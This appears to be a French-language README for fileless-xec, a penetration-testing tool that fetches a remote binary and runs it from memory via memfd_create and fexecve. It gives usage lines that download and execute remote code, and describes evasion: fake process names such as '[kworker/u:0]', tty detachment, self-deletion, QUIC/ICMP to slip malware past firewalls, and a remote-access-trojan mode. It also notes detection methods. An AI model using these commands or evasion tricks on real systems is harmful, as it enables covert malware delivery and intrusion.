➲ fileless-xec 🦜

Utilisation en test d'intrusion : fileless-xec est utilisé sur la machine cible pour exécuter furtivement un fichier binaire situé sur la machine de l'attaquant

➲ Courte histoire

fileless-xec nous permet d'exécuter un binaire distant sur une machine locale directement depuis la mémoire sans le déposer sur le disque

➪ Installation

• utilisation simple fileless-xec [binary_url] (~curl | sh pour les binaires)
• exécuter le binaire avec un nom de programme spécifié : fileless-xec -n /usr/sbin/sshd [binary_url]
• détacher l'exécution du programme de tty : fileless-xec --setsid [...]

Autres cas d'utilisation

• Exécuter un binaire avec stdout/stdin
• Exécuter un binaire avec des arguments
• fileless-xec auto-suppression
• Contourner les restrictions réseau avec ICMP
• Contourner le pare-feu avec HTTP3
• "Remote go" : exécuter des binaires Go sans avoir Go installé localement
• Exécuter un script shell
• Mode serveur de fileless-xec
  • Scénario RAT (cheval de Troie d'accès à distance)
• fileless-xec sur Windows

➲ Histoire de furtivité

• Le fichier binaire n'est pas mappé dans le système de fichiers hôte
• Le nom du programme d'exécution peut être personnalisé
• Le contournement du pare-feu de 3ème génération peut être effectué avec le support http3
• fileless-xec se supprime automatiquement après le lancement

memfd_create

Le fichier binaire distant est stocké localement à l'aide de l'appel système memfd_create, qui le stocke dans un disque mémoire qui n'est pas mappé dans le système de fichiers (c'est-à-dire que vous ne pouvez pas le trouver avec ls).

Remarque : l'appel système memfd_create n'existe pas pour macOS.

fexecve

Ensuite, nous l'exécutons à l'aide de l'appel système fexecve (comme il n'est actuellement pas fourni par la bibliothèque syscall de Go, nous l'implémentons).

Avec fexecve, nous pouvons exécuter un programme, mais nous référençons le programme à exécuter en utilisant un descripteur de fichier, au lieu du chemin complet.

HTTP3/QUIC

QUIC UDP alias http3 est un protocole Internet de nouvelle génération qui accélère les applications web en ligne sujettes aux délais, comme la recherche, le streaming vidéo, etc., en réduisant le temps d'aller-retour (RTT) nécessaire pour se connecter à un serveur.

Parce que QUIC utilise un chiffrement propriétaire équivalent à TLS (cela changera à l'avenir avec une version standardisée), les pare-feu de 3ème génération qui assurent le contrôle et la visibilité des applications rencontrent des difficultés pour contrôler et surveiller le trafic QUIC.

Si vous utilisez fileless-xec comme un dropper (Uniquement à des fins de test ou avec autorisation), vous voudrez probablement exécuter certains types de malwares ou d'autres fichiers qui pourraient être détectés par l'analyse de paquets. Ainsi, avec QUIC activé, vous pouvez contourner l'analyse de paquets et TÉLÉCHARGER un malware.

De plus, dans le cas où le pare-feu est uniquement utilisé pour autoriser/bloquer le trafic, il peut arriver que les règles du pare-feu oublient le protocole UDP, ce qui permet à vos requêtes de passer inaperçues.

autre compétence pour la furtivité

Bien que non présent sur le disque mémoire, le programme en cours d'exécution peut toujours être détecté en utilisant la commande ps par exemple.

1. Couvrir les traces avec un nom de programme factice

fileless-xec --name <nom_factice> <url_binaire_brute> par défaut, le nom est [kworker/u:0]

2. Détacher du tty pour imiter le comportement d'un processus démon

fileless-xec --setsid <url_binaire_brute>.

Caveats

Vous pouvez toujours être détecté avec :

$ lsof | grep memfd

Ou aussi opensnoop (mais pas par execsnoop)

Ou un profil seccomp auditant l'appel système execve (mais c'est très envahissant car une commande sleep utilise aussi execve par exemple)